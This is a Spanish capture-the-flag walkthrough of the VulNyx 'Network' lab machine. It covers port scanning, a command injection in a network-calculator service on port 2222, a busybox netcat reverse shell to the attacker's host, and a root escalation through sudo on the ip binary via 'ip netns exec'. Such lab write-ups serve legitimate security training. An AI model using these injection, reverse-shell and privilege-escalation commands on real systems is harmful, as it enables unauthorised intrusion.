VulNyx - Network
Information
Synopsis
Network es una máquina Linux en la que se descubre un servicio expuesto en un puerto poco habitual que permite realizar pruebas de conectividad mediante ping. Al analizar su funcionamiento, se identifica una vulnerabilidad de Command Injection en el campo de entrada, que permite ejecutar comandos en el sistema y obtener el acceso inicial. Para la escalada de privilegios, se aprovecha una configuración insegura de sudo que permite ejecutar un binario con permisos elevados, consiguiendo finalmente acceso como usuario root.
Card
Enumeration
Nmap
TCP
root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.146
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-15 11:31 +0200
Nmap scan report for 192.168.1.146
Host is up (0.0012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2222/tcp open EtherNetIP-1
8080/tcp open http-proxy
root@kali:~ ❯ nmap -sVC -p22,80,2222,8080 192.168.1.146
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-15 11:32 +0200
Nmap scan report for 192.168.1.146
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.67 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.67 (Debian)
2222/tcp open EtherNetIP-1?
| fingerprint-strings:
| GenericLines:
| [93m[i]
| [97mEnter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
| [92m
| [94m[*]
| [97mRetrieving network information for:
| [92m
| [92m
| [91m
| INVALID ADDRESS:
| [92m
| [92m[+]
| [97mNetwork information retrieved successfully.
| NULL:
| [93m[i]
| [97mEnter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
|_ [92m
8080/tcp open http Apache httpd 2.4.67 ((Debian))
|_http-server-header: Apache/2.4.67 (Debian)
|_http-title: Apache2 Debian Default Page: It works
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.99%I=7%D=8/15%Time=6A80322B%P=x86_64-pc-linux-gnu%r(NU
SF:LL,5E,"\n\x1b\[93m\[i\]\x20\x1b\[97mEnter\x20an\x20IPv4\x20address\x20t
SF:o\x20retrieve\x20network\x20information\x20\(e\.g\.\x2010\.10\.10\.10\)
SF::\x1b\[92m\x20")%r(GenericLines,327,"\n\x1b\[93m\[i\]\x20\x1b\[97mEnter
SF:\x20an\x20IPv4\x20address\x20to\x20retrieve\x20network\x20information\x
SF:20\(e\.g\.\x2010\.10\.10\.10\):\x1b\[92m\x20\x1b\[94m\[\*\]\x20\x1b\[97
SF:mRetrieving\x20network\x20information\x20for:\x20\x1b\[92m\r\.\.\.\x1b\
SF:[0m\n\x1b\[92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\
SF:x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94
SF:\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9
SF:4\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x
SF:94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\
SF:x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2
SF:\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe
SF:2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x
SF:e2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\
SF:xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80
SF:\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x8
SF:0\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x
SF:80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\
SF:x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94
SF:\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9
SF:4\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x1b\[91m\nINVALID\x20ADDRESS:
SF:\x20\r\n\n\x1b\[92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2
SF:\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe
SF:2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x
SF:e2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\
SF:xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80
SF:\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x8
SF:0\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x
SF:80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\
SF:x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94
SF:\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9
SF:4\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x
SF:94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\
SF:x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2
SF:\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe
SF:2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x
SF:e2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x1b\[0m\n\x1b\[92m\[\+\]
SF:\x20\x1b\[97mNetwork\x20information\x20retrieved\x20successfully\.\x1b\
SF:[0m\n");
Shell (net)
80/TCP (HTTP)
Site
Directory Fuzzing
root@kali:~ ❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.146/ -x html,txt,php
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.146/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: html,txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html (Status: 200) [Size: 10701]
Progress: 882176 / 882176 (100.00%)
===============================================================
Finished
===============================================================
8080/TCP (HTTP)
Site
Directory Fuzzing
root@kali:~ ❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.146:8080/ -x html,txt,php
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.146:8080/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: html,txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html (Status: 200) [Size: 10701]
Progress: 882176 / 882176 (100.00%)
===============================================================
Finished
===============================================================
2222/TCP (UNKNOWN)
Al conectarme con nc al puerto, veo un aplicativo que solicita una IP para calcular la red de esta.
root@kali:~ ❯ nc 192.168.1.146 2222
[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10): 192.168.1.2
[*] Retrieving network information for: 192.168.1.2...
───────────────────────────────────────────────────────────────────────────────────────────
Address: 192.168.1.2 11000000.10101000.00000001. 00000010
Netmask: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000
Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111
=>
Network: 192.168.1.0/24 11000000.10101000.00000001. 00000000
HostMin: 192.168.1.1 11000000.10101000.00000001. 00000001
HostMax: 192.168.1.254 11000000.10101000.00000001. 11111110
Broadcast: 192.168.1.255 11000000.10101000.00000001. 11111111
Hosts/Net: 254 Class C, Private Internet
───────────────────────────────────────────────────────────────────────────────────────────
[+] Network information retrieved successfully.
(Por el formato del output, parece ser la salida del comando ipcalc)
Command Injection
RCE
Consigo ejecutar comandos como usuario net.
root@kali:~ ❯ echo ";id" | nc 192.168.1.146 2222 | tail -n3
uid=1000(net) gid=1000(net) grupos=1000(net)
───────────────────────────────────────────────────────────────────────────────────────────
[+] Network information retrieved successfully.
Reverse Shell
Ya ejecutando comandos trato de obtener una reverse shell.
root@kali:~ ❯ echo ";busybox nc 192.168.1.5 443 -e /bin/sh" | nc 192.168.1.146 2222
Obtengo la shell como usuario net.
root@kali:~ ❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.146] 47680
id ; hostname
uid=1000(net) gid=1000(net) grupos=1000(net)
network
Privilege Escalation
Enumeration
Sudo
El usuario net puede ejecutar como root el binario ip con sudo.
net@network:~$ sudo -l
Matching Defaults entries for net on network:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User net may run the following commands on network:
(root) NOPASSWD: /usr/bin/ip
Abuse
Binary (ip)
En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario root.
net@network:~$ sudo -u root /usr/bin/ip netns add foo
net@network:~$ sudo -u root /usr/bin/ip netns exec foo /bin/sh
# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
network
# bash -i
root@network:/home/net#
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt.
root@network:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
688*****************************
ed5*****************************
Hasta aquí la resolución de la máquina Network de VulNyx.
Happy Hacking! 🙂